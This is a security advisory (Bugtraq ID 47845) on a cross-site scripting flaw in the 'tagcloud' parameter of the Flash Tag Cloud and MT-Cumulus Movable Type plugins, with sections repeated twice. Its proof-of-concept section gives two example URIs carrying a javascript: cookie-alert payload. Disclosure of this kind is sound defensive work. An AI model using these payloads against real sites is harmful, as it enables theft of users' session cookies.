Flash Tag Cloud And MT-Cumulus Plugin 'tagcloud' Parameter Cross-Site Scripting Vulnerability
BID:47845
Info
Flash Tag Cloud And MT-Cumulus Plugin 'tagcloud' Parameter Cross-Site Scripting Vulnerability
| Bugtraq ID: | 47845 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 13 2011 12:00AM |
| Updated: | May 13 2011 12:00AM |
| Credit: | MustLive |
| Vulnerable: |
Movable Type MT-Cumulus 1.02 Movable Type Flash Tag Cloud 0 |
| Not Vulnerable: | |
Discussion
Flash Tag Cloud And MT-Cumulus Plugin 'tagcloud' Parameter Cross-Site Scripting Vulnerability
The Flash Tag Cloud widget and the MT-Cumulus Plugin are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.
The following versions are affected:
Flash Tag Cloud For MT 4
MT-Cumulus 1.02 and prior versions
The Flash Tag Cloud widget and the MT-Cumulus Plugin are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.
The following versions are affected:
Flash Tag Cloud For MT 4
MT-Cumulus 1.02 and prior versions
Exploit / POC
Flash Tag Cloud And MT-Cumulus Plugin 'tagcloud' Parameter Cross-Site Scripting Vulnerability
An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/scripts/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
http://www.example.com/mt/mt-static/plugins/Cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/scripts/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
http://www.example.com/mt/mt-static/plugins/Cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E
Solution / Fix
Flash Tag Cloud And MT-Cumulus Plugin 'tagcloud' Parameter Cross-Site Scripting Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Flash Tag Cloud And MT-Cumulus Plugin 'tagcloud' Parameter Cross-Site Scripting Vulnerability
References:
References:
- Movable Type MT-Cumulus Plugin Homepage (Movable Type)